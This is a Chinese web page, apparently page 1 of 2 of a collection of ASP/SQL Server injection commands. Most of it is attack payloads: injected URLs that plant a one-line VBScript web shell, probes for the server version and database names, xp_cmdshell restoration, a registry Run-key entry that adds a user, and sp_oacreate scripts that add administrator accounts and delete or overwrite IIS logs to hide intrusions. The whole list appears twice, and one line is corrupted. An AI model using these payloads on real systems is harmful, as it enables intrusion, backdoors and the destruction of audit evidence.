ASP注入詳細命令40條第1/2頁
更新時間:2008年05月05日 12:35:51 作者:
asp經(jīng)常利用的注入命令集合
1、 用^轉(zhuǎn)義字符來寫ASP(一句話木馬)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 顯示SQL系統(tǒng)版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網(wǎng)站漏洞時,分明已經(jīng)確定了漏洞存在卻無法在這三種漏洞中找到對應(yīng)的類型。偶然間我想到了在SQL語言中可以使用"in"關(guān)鍵字進行查詢,例如"select * from mytable where id in(1)",括號中的值就是我們提交的數(shù)據(jù),它的結(jié)果與使用"select * from mytable where id=1"的查詢結(jié)果完全相同。所以訪問頁面的時候在URL后面加上") and 1=1 and 1 in(1"后原來的SQL語句就變成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",這樣就會出現(xiàn)期待已久的頁面了。暫且就叫這種類型的漏洞為"包含數(shù)字型"吧,聰明的你一定想到了還有"包含字符型"呢。對了,它就是由于類似"select * from mytable where name in('firstsee')"的查詢語句造成的。
4、 判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
5、 向啟動組中寫入命令行和執(zhí)行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
6、 查看當前的數(shù)據(jù)庫名稱:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨庫了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當前所有的數(shù)據(jù)庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄
8、 不需xp_cmdshell支持在有注入漏洞的SQL服務(wù)器上運行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的參數(shù)true指的是將等待程序運行的結(jié)果,對于類似ping的長時間命令必需使用此參數(shù)。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中執(zhí)行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三種執(zhí)行CMD命令的方法:
先刪除7.18號日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現(xiàn),管理員修改注冊表不能預防的原因。出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測試:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
? 這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
? 建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
? 如何使用鏈接數(shù)據(jù)庫:
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學習總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
? 新建鏈接服務(wù)器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';--
再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline', ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp
2、 顯示SQL系統(tǒng)版本:
? http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,@@version)--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網(wǎng)站漏洞時,分明已經(jīng)確定了漏洞存在卻無法在這三種漏洞中找到對應(yīng)的類型。偶然間我想到了在SQL語言中可以使用"in"關(guān)鍵字進行查詢,例如"select * from mytable where id in(1)",括號中的值就是我們提交的數(shù)據(jù),它的結(jié)果與使用"select * from mytable where id=1"的查詢結(jié)果完全相同。所以訪問頁面的時候在URL后面加上") and 1=1 and 1 in(1"后原來的SQL語句就變成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",這樣就會出現(xiàn)期待已久的頁面了。暫且就叫這種類型的漏洞為"包含數(shù)字型"吧,聰明的你一定想到了還有"包含字符型"呢。對了,它就是由于類似"select * from mytable where name in('firstsee')"的查詢語句造成的。
4、 判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--
5、 向啟動組中寫入命令行和執(zhí)行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'
6、 查看當前的數(shù)據(jù)庫名稱:
? http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨庫了
? http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當前所有的數(shù)據(jù)庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄
8、 不需xp_cmdshell支持在有注入漏洞的SQL服務(wù)器上運行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true'
--注意run的參數(shù)true指的是將等待程序運行的結(jié)果,對于類似ping的長時間命令必需使用此參數(shù)。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
--因為fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
drop TABLE MYTMP
----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END
以下是一行里面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中執(zhí)行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\bjeea.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下三種執(zhí)行CMD命令的方法:
先刪除7.18號日志:
(1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)首先開啟jet沙盤模式,通過擴展存儲過程xp_regwrite修改注冊表實現(xiàn),管理員修改注冊表不能預防的原因。出于安全原因,默認沙盤模式未開啟,這就是為什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權(quán)限,為了方便,這里建議使用sysadmin權(quán)限測試:
? exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切
? 這里僅給出sysadmin權(quán)限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
? 建立鏈接數(shù)據(jù)庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
? 如何使用鏈接數(shù)據(jù)庫:
使用這個方式可以執(zhí)行,但是很不幸,DB_OWNER權(quán)限是不夠的,需要至少sysadmin權(quán)限或者securityadmin+setupadmin權(quán)限組合
sp_addlinkedserver需要sysadmin或setupadmin權(quán)限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權(quán)限
最終發(fā)現(xiàn),還是sa權(quán)限或者setupadmin+securityadmin權(quán)限帳戶才能使用,
一般沒有哪個管理員這么設(shè)置普通帳戶權(quán)限的
實用性不強,僅作為一個學習總結(jié)吧
大致過程如下,如果不是sysadmin,那么IAS.mdb權(quán)限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權(quán)限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb才可以:
? 新建鏈接服務(wù)器"L0op8ack":EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:\winnt\system32\ias\ias.mdb';--
? exec sp_addlinkedsrvlogin 'L0op8ack','false';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
? select * FROM OPENQUERY(L0op8ack, 'select shell("cmd.exe /c net user")');--
? exec sp_droplinkedsrvlogin 'L0op8ack','false';--
? exec sp_dropserver 'L0op8ack';--
再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline', ut out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
相關(guān)文章
asp通過JMAIL實現(xiàn)通用發(fā)送函數(shù)
asp通過JMAIL實現(xiàn)通用發(fā)送函數(shù)...2007-08-08asp下request.querystring("id")與request("id&quo
一下問題一天遇到2次,復制過來以供下次參考,一般來說還使用萬能的request("id")比較好2008-01-01asp中判斷服務(wù)器是否安裝了某種組件的函數(shù)
檢查是否存在系統(tǒng)組件或組件是否安裝成功,方便繼續(xù)的操作。給用戶更好的信息指示。2010-12-12ASP與Excel結(jié)合生成數(shù)據(jù)表和Chart圖的代碼
ASP與Excel結(jié)合生成數(shù)據(jù)表和Chart圖的代碼,需要的朋友可以參考下。2009-12-12windows2003下使用asp WScript.Shell的設(shè)置方法
在windows2000下,IIS默認設(shè)置是可以web和可執(zhí)行程序通信的。但是在2003下IIS關(guān)于這方面的服務(wù)是禁止的。2007-12-12PJ-Blog教程┊增強博客用戶體驗~讓發(fā)表內(nèi)容的同時拷貝到剪貼板以防丟失
PJ-Blog教程┊增強博客用戶體驗~讓發(fā)表內(nèi)容的同時拷貝到剪貼板以防丟失...2007-01-01